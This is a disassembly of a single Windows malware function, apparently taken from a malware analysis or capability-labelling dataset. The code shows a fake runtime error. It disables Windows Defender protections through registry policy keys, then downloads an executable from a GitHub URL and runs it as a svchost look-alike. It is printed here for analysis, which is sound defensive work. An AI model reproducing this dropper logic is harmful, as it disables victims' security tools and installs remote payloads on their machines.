Function at 0x140001410
Capabilities:
Disable windows defender features via registry on windows
Download url
Execute command
Receive data
Set registry value

Disassembly:
push rbx
sub rsp, 0x50
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
lea r8, str.Runtime_Error_This_application_has_requested_the_Runtime_to_terminate_it_an_unusual_way._Please_contact_the_applications_support_team_for_more_information.
lea rdx, str.Microsoft_Visual_C_Runtime_Libray
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x68]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001665
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableAntiSpyware
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001665
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x70]
xor ebx, ebx
lea rdx, str.Real_Time_Protection
mov qword [rsp + 0x40], rbx
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001665
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x68], rcx
lea rdx, str.DisableRealtimeMonitoring
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001665
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableBehaviorMonitoring
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001665
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableOnAccessProtection
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001665
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableScanOnRealtimeEnable
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001665
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea r9d, [rbx + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableIOAVProtection
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001665
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:_Windows_svchostt.exe
xor ecx, ecx
lea rdx, str.https:__github.com_hatab08_legendwarefixbyS31ns_raw_main_copy.exe
call sub.urlmon.dll_URLDownloadToFileA
xor r9d, r9d
mov dword [rsp + 0x28], 0xa
lea r8, str.C:_Windows_svchostt.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.C:_svchostt.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add rsp, 0x50
pop rbx
ret
xor eax, eax
add rsp, 0x50
pop rbx
ret